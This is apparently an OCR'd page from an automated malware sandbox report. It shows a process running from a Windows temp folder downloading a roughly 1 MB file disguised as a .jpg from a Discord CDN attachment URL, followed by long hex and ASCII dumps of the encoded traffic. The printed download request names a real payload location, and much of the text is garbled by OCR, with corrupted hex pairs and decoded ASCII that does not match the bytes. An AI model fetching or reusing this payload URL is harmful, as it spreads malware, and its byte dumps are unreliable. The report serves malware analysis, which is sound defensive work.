20 4e 43 4c 20 4e 43 4e 20 4e 4e 63 20 57 59 20 63 49 20 57 4d 20 4e 4e 4d 20 4e 4e 43 20 4e 4e 63 20 4e 43 49 20 4e
43 4e 20 4e 4e 59 20 4e 4e 59 20 4e 4e 43 20 4e 43 4e 20 4e 4e 59 20 4e 4e 59 20 43 20 4d 4e 20 4e 43 4e 20 4e 4e 63
20 49 43 20 4e 4e 72 20 4e 4e 4e 20 57 57 20 63 59 20 4e 43 43 20 4e 43 43 20 4e 4e 72 20 4e 43 4e 20 4e 4e 59 20 4e
4e 59 20 43 20 4d 4d 20 4e 43 59 20 57 57 20 4e 4e 72 20 4e 4e 4e 20 4e 4e 59 20 4e 4e 4e 20 4e 43 56 20 4e 4e 63 20
72 63 20 49 63 20 4e 43 59 20 4e 4e 59 20 4e 4e 4d 20 57 4d 20 4e 43 49 20 49 4c 20 4e 4e 63 20 4e 4e 4d 20 4e 43 43
20 4e 43 59 20 4e 4e 4e 20 72 63 20 49 72 20 4e 43 4e 20 4e 4e 59 20 4e 4e

Data Ascii: V NCN NNC NNC NCY NCI NCN NNY NNY C NCL NCN NNc WY cl WM NNM NNC NNc NCI NCN NNY NNY
NNC NCN NNY NNY C MN NCN NNc IC NNr NNN WW cY NCC NCC NNr NCN NNY NNY C MM NCY WW NNr NNN
NNY NNN NCV NNc rc lc NCY NNY NNM WM NCI IL NNc NNM NCC NCY NNN rc Ir NCN NNY NN

Destination IP Destination Port Process
162.159.135.233 443 C:\Users\user\AppData\Local\Temp\B82B.exe

Data

GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:30:02 GMT

Content-Type: image/jpeg

Content-Length: 1023400

Connection: close

CF-Ray: 6a5e790bdec54d89-FRA

Accept-Ranges: bytes

Age: 280498

Cache-Control: public, max-age=31536000

ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d"

Expires: Sat, 29 Oct 2022 18:30:02 GMT

Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1635249393939568

x-goog-hash: crc32c=mLSBFQ==

x-goog-hash: md5=p5/+KpCrg+VM043ZSitgbQ==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

X-goog-stored-content-length: 1023400

X-GUploader-UploadID: ADPycduXLAUOrhkOYYd]TYv8nzQOrUiGMROrg3gWR-Mu3t2dKo7sgrujSRwWPDi2ARPYG
wmCngDDiBBlucDqiDRky3RaTOEIS3w

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=Qtg1QwphCS%2FsF75XSz8LQnY%2B2UcA
73W%2BbI3ytV9qqkmDRSc5f2STuD7h5u4ehrVB6ZpmLICwCi0AfUs1gCj8CJI4AKEOIY pilLfWclsmHph6PtV7FWezXa
Qsa8Vgnd%2FI%2BAITAr1Q%3D%3D"}],"group™:"cf-nel","max_age":604800}
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1653 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 2263 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6¢ 6f 75 64 66 6¢ 61 72 65 0d 0a 0d Oa
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-10-29 18:30:02 UTC 1653 IN Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78
20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20
782078 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78
207820 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20
45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20
6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78
51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f
Data Ascii: XOOEKYRtkQ-tt Qx OKK X EX X X KX X X 0YY 0YY XX OKK X X X X X X X RK X X X X X X X X X X X X X X X X X X X X
XXXXXXXXXXXXXXX 00k x xx OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK
000 OxE OOK Qt OxQ Eo QQ Qt OOx O

2021-10-29 18:30:02 UTC 1654 IN Data Raw: 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20
78207820 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78
20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20 4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b
20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78 20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20
Af 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20
59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f
4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59
Data ASCii: X XXX XXX XX XXX XXXXXXXXXXXXXXXXXXXXXXXXXXX0Y Kx00Q OxQ OOY Yx Kk Yx Yx kK
OOK OOt OKR OKE Yx Kk OEk YK kk OOK OOt OxQ OO0 Yx OO0 Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kK O
OK OOt OxQ 000 Yx Kk Yx YK kK OOK OOt OxQ OO0 Y

2021-10-29 18:30:02 UTC 1656 IN Data Raw: 20 4f 78 20 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 45 6f 20 4f 6b 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6b 59 20
4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 4b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78
20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20
6b 4b 20 4f 6b 20 51 4f 20 45 4f 20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20
Af 4f 6f 20 59 78 20 6f 4b 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51
20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20
Af 4f 4b 20 59 45 20 4f 78 51
Data Ascii: Ox O OxQ OO0 Yx OEo OKE YY kK OOK kY OxQ OO0 Yx OkK YO YK kK OOk OOt OxQ OO0 Yx Kk Yx YK
kK OOK OOt OxQ OO0 Yx Kk Ok YK kK Ok QO EO E RK KkE Yx YK kK Otk OOk OxQ OO0 Yx oKx YO YK kK OOk OOt
OxQ 000 0OQx KQ Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kK OOK YE OxQ

2021-10-29 18:30:02 UTC 1657 IN Data Raw: 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f
20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20
Af 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f
20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20
Af 4f 74 20 4f 78 51 20 4f 4f 6f
Data Ascii: OxQ OO0 Yx Kk Yx YK kK OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK
OO0t OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt Ox
Q 000 Yx Kk Yx YK kk OOK OOt OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OO0

2021-10-29 18:30:02 UTC 1658 IN Data Raw: 4f 78 51 20 4f 4f 6f 20 59 52 20 45 51 20 45 74 20 4b 74 20 6f 4f 74 20 4b 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45
20 6f 45 20 45 6b 20 52 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20
74 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20
45 4f 20 4f 20 59 78 20 4b 6b 20 52 52 20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20
59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74
20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 6f 20 59 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20
4f 6f 6f 20 6f 52 20 4b 74 20 59 78 20
Data Ascii: OxQ OO0 YR EQ Et Kt 00t Ko OOt OxQ OOE oE Ek RK YY kK OOK Y EO KO Yx Kk RR to tk OOK OOt OxE
kk KY Kk Yx Rx oKR kt Qk EO O Yx Kk RR Rk 0YO OOK OOt 0Q OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK 00 Ko
Rk OKt OOK OO0t 0Q 0 YE KQ Yx tx Ko Oxk OOt OxQ 000 0OR Kt Yx

2021-10-29 18:30:02 UTC 1660 IN Data Raw: 74 6b 20 6f 78 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 59 20 6b 51 20
Af 4f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52
20 4f 78 51 20 4f 4f 6b 20 52 59 20 45 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b
20 6f 4f 20 45 4f 20 45 45 20 4f 4f 4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 2(
6b 59 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 4f 4f 74 20 4f
78 51 20 4f 4f 52 20 6f 52 20 59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45
20 59 59 20 45 51 20 6b
Data Ascii: tk oxE kk OOK OOE RQ OOK Yx Kk oY kQ OO0 OOY OOt Oxt Qt YY EE YK oxx ko ORK OOR OxQ OOk RY
Ex Yx YK QK Oo OEQ OxQ OO0 YK 00 EO EE OOK Oo OKo OxQ OO0 YK 0xR Yo oEY kY OOK OOY Ex QY Yx Kk YR
0OQ 000 OKx OOt OxQ OOR oR YO Yx YK Oot 0Q QY Oxk OOo Yo EE YY EQ k

2021-10-29 18:30:02 UTC 1661 IN Data Raw: 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 74 52 20 4f 78 51 20 4f 4f 6f 20
59 52 20 59 51 20 59 45 20 45 78 20 4f 4f 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f
45 59 20 4f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20
4f 4f 4b 20 45 78 20 6f 4 51 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20
41 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 6 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59
4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59
20 74 59 20 4f 78 6f 20 45 45 20
Data Ascii: OxQ 000 RY k Yx YK QK Qx tR OxQ 000 YR YQ YE Ex 0Ox OOK OOt OXE QE YE YK RE oEY Oot OOY
0Ot 0xQ OOK 0R YR Yx YK ko OoR OOK Ex 00Q Yx Kk Yo Et kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo 000 Ox
Q 000 YK 0K Y YK kK Oox R kY 000 Yx Yk QE OEY kK OOK OOY tY Oxo EE

2021-10-29 18:30:02 UTC 1662 IN Data Raw: 6f 20 59 78 20 4b 6b 20 59 6f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 78
59 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51
20 52 52 20 4f 4f 59 20 4f 78 51 20 59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20
74 51 20 59 78 20 4b 6b 20 59 52 20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45
20 6f 45 78 20 4f 4b 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b
20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 4b 20 52 51 20 74 4b 20 59
78 20 4b 6b 20 59 52 20 6f 74 20 6b 45
Data Ascii: 0 Yx Kk Yo YK kk OOK Ek Oxk OOo Yx OxY YO YK kK OOE OOt OxQ OO0 RO Kk Yx YY tQ RR OOY OxQ
Yo Kk Kk Yx YE kK OOK Oxx Ex tQ Yx Kk YR Rx kR OO0 oKk YY OOo Yx KQ oE oEx OKx OOK OOt OxY kk Y Kk Yx
Rx EQ tK OOt OxQ Oo00 oR Q Yx YK QK OoO OOK RQ tK Yx Kk YR ot kE
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1664 IN Data Raw: 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6 52 20 6f 4f 4b 20 59 78 20 59 4b 20 6b 78 20 51 78
20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20
59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 74 6f 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b
45 20 51 51 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 74 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20
74 6f 20 4f 52 78 20 4f 59 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59
20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 52 20 6f 52 20 4b 6b 20 6b 4b
20 4f 4f 4b 20 4f 4f 59 20 6f
Data Ascii: OK OOK OOt Oxk kY 0oR 00K Yx YK kx Qx RR OxQ OO0 YR Rt Ox YK kK Oox oR OQE OO0 Yx YK QE OE
kK OOK Oot o to YO Kk Yo EQ kE QQ OOE OoK OOt KY RE OQO Oxk kk OOK OOR to ORXx OYY Kk Yx Yx OoK RQ
OO0t OxQ 000 RY k Yx YK QK 0Q 00t OxQ OO0 Yo YR oR Kk kk OOK OOY o

2021-10-29 18:30:02 UTC 1665 IN Data Raw: 45 20 4b 4f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 45 6f 20 59 78 20
59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52
20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 4f 51 20 45 59
20 59 59 20 4b 45 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 59 51 20 59 78 20 59
4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20
4b 59 20 4f 4f 6 20 59 78 20 59 6b 20 45 4f 20 4b 4f 20 52 51 20 4f 4f 74 20 4f 78 6b 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b
6b 20 59 4f 20 4f 51 20 4f 45 6f
Data Ascii: E KO Okt OK OOK OOt Oxk kY 0oR OEo Yx YK kx Qx RR OxQ OO0 YR Rt Ox YK kK Oox oR OQE OOo Yx
YK QE OE kK OOK Oot OoR OOQ EY YY KE Okt OK OOK OOt Oxk kY 00R OYQ Yx YK kx Qx RR OxQ OO0 YR Rt Ox
YK kK Oox oR KY OO0 Yx Yk EO KO RQ OOt Oxk 0oK Ko Yx Kk YO OQ OEo

2021-10-29 18:30:02 UTC 1666 IN Data Raw: 59 20 59 59 20 4f 4b 20 52 51 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 78 78 20 45 45 20 59 4b 20 45 59 20 59
78 20 52 51 20 4f 4f 51 20 4f 78 52 20 4f 6f 78 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f
20 4f 59 74 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59
78 20 59 6b 20 51 45 20 4f 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4f 20 6b 6b 20 59 6 20 4b 6b 20 59 78 20 4b 6b
20 45 6b 20 4f 20 4f 4f 51 20 4f 78 51 20 78 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 52 20 4f 78 51
20 4f 4f 6f 20 59 52 20 45 59 20 59 45 20 52 51 20 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 51 20 59 6b 20 45 45 20
59 6b 20 45 51 20 6b 78 20 51 51 20 4f
Data Ascii: Y YY OK RQ OOY OOt OxQ Oxx EE YK EY Yx RQ 0OOQ OxR Qox 0YE OxK Kk Yx YY OOE ORo OYt OxQ O
00 YK 0K Y YK kK Oox R kY 000 Yx Yk QE OYK kk OOK OOY OxO kk Yo Kk Yx Kk Ek O 00Q OxQ x tR KR Yx YK QK
0Q OxR OxQ 000 YR EY YE RQ OR OOY OOt Oxt QQ Yk EE Yk EQ kx QQ O

2021-10-29 18:30:02 UTC 1668 IN Data Raw: 45 20 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4b 20 52 20 4f 20 4b 6f 20 4b 6b 20 45 45 20 59 51 20 6b
59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4b 59 20 4f 20 4f 20 59 74 20 6b 74 20 51 78 20 52 6f 20 4f 78 51 20 4f 4f 6f 20 59
52 20 59 78 20 6f 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 45 20 51 4f 20 52 78 20 59 78 20 45 52 20 45 4b 20
Af 6f 4b 20 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 51 45 20 4f 4f 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 74 4f 20
Af 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 5
9 4b 20 59 78 20 45 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 52 20 6b 52 20 4f
4f 4b 20 6b 6f 20 4f 78 51 20
Data Ascii: E Ot kK OOK Oot OOK R O Ko Kk EE YQ kY OOt OxQ Ooo KY O O Yt kt Qx Ro OxQ OO0 YR Yx oR Kx kK
OOK OO0Y OXE QO Rx Yx ER EK OoK kK OOt OxQ OOk QE OO Yx YK QK Oox OtO OOx kR oER Kk Yo ok kY Qk OOt
OxQ 000 Yx YK Yx E OOO OOK OOk Qk OO0 Yx KQ EE R kR OOK ko OxQ

2021-10-29 18:30:02 UTC 1669 IN Data Raw: 4f 4f 52 20 51 45 20 4f 78 4f 20 4f 4f 6f 20 59 78 20 6f 74 20 51 45 20 6f 4b 6b 20 6b 59 20 4f 4f 4b 20 4f 4f 59
20 6f 20 4f 52 4f 20 59 4f 20 4b 6b 20 59 6f 20 52 78 20 4f 45 6b 20 4f 4f 45 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 6f 45 52 20
59 4f 20 6f 78 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 45 20 52 20 59 4b 20 6b 4b
20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 74 20 4b 51 20 59 78 20 59 4b 20 74 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78
51 20 6b 45 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20
59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 4f 20 59 4b 20 6b 4b 20 51
78 20 4f 4f 52 20 4f 78 51
Data Ascii: OOR QE OxO OOo Yx ot QE oKk kY OOK OOY o ORO YO Kk Yo Rx OEk OOE kE OtQ OOo oER YO ox oEo
kK OOR QY OxQ OO0 Yx OOE R YK kK OOK OOt OxQ OO0 Yt KQ Yx YK tR OOK OOt OxQ kE YO Kk Yx YE kK OOK
OO0t Qk 000 Yx KQ Yx YK kK OOK 000 OxQ OO0 Yx KK YO YK kK Qx OOR OxQ

2021-10-29 18:30:02 UTC 1670 IN Data Raw: 4b 20 59 78 20 4f 6f 52 20 4b 78 20 4f 4f 4b 20 51 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59
4b 20 6b 6f 20 4f 4f 4b 20 6f 4b 51 20 6f 59 59 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52
51 20 4f 78 59 20 4f 4f 6f 20 4f 4f 4b 20 4b 51 20 59 78 20 59 4b 20 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 6f
4f 20 4b 51 20 59 78 20 4b 6b 20 51 4b 20 4f 4f 6f 20 6f 52 20 59 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 78 51 20
6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 6f 20 74 6f 20 4f 4b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 45 20 6f 51 20 4f 6f 6f 20 4f
78 51 20 4f 4f 6f 20 59 52 20 52 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 6f 4f 20 4f 78 4f 20 45 4f 20 4f 4f 78 20 4b
6b 2059 78 20 52 78 20 45 6b
Data Ascii: K Yx OoR Kx OOK Qt OxQ 000 Yx Kk Yx YK ko OOK oKQ oYY OO0 KQ Yk Yx YK kY OxY RQ OxY OOo
OOK KQ Yx YK QY OOK OOt OoK E 000 KQ Yx Kk QK OO0 oR Yo 000 Yx Yk QE OxQ kK OOK Oot Oxo to OKY Kk Yx
YK kE 0Q Ooo OxQ 000 YR Rk Et YK kk OOY 000 OxO EO OOx Kk Yx Rx Ek

2021-10-29 18:30:02 UTC 1672 IN Data Raw: 20 4f 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 45 59 20 52 74 20 4b 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f
74 20 4f 4f 4f 20 4f 4b 20 4b 6b 20 4b 51 20 59 78 20 59 78 20 4f 4f 45 20 51 59 20 51 6b 20 74 59 20 4f 4b 20 59 4f 20 4b
5120 59 78 20 59 78 20 4f 74 78 20 4f 4f 52 20 4f 59 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 52 74 20 4b 78 20 59 4b 20 6b
4b 20 4f 6f 78 20 6b 78 20 6f 45 74 20 4f 4f 4b 20 59 4f 20 4b 6b 20 59 4b 20 45 78 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 74
78 20 45 4f 20 4b 52 20 4b 6b 20 59 78 20 52 78 20 51 59 20 74 4b 20 52 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 59 20
51 45 20 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 4f 6f 78 20 4b 6f 20 45 51 20 45 74 20 4f 6b 74 20 4f 6f 20 4f 4f
4b 20 4f 4f 74 20 4f 78 6b 20 6b 59
Data Ascii: OOK 000 OxQ OO0 EY Rt KE YK kK Oox Oot OO0 OK Kk KQ Yx Yx OOE QY Qk tY OK YO KQ Yx Yx Otx
OOR OYO Oxk 000 Yo Rt Kx YK kK Oox kx oEt OOK YO Kk YK Ex kY OOK OOt tx EO KR Kk Yx Rx QY tK RK Oxk
000 Yx YY QE KE kK OOK Oot Qt Oox Ko EQ Et Okt Oo OOK OOt Oxk kY

2021-10-29 18:30:02 UTC 1673 IN Data Raw: 20 74 6f 20 4b 6b 20 59 78 20 59 4b 20 4f 45 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4b 78 20 59 4f 20 4b 6b
